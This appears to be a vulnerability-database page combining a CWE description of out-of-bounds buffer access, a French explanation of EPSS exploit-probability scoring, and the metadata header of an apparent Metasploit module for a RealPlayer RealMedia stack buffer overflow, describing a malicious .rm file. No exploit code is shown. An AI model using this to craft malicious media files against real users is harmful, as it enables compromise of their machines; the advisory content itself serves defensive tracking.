Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |

EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

'Name' => 'RealPlayer RealMedia File Handling Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.
The vulnerability exists in the handling of real media files, due to the insecure
usage of the GetPrivateProfileString function to retrieve the URL property from an
InternetShortcut section.
This module generates a malicious rm file which must be opened with RealPlayer via
drag and drop or double click methods. It has been tested successfully on Windows
XP SP3 with RealPlayer 15.0.5.109.
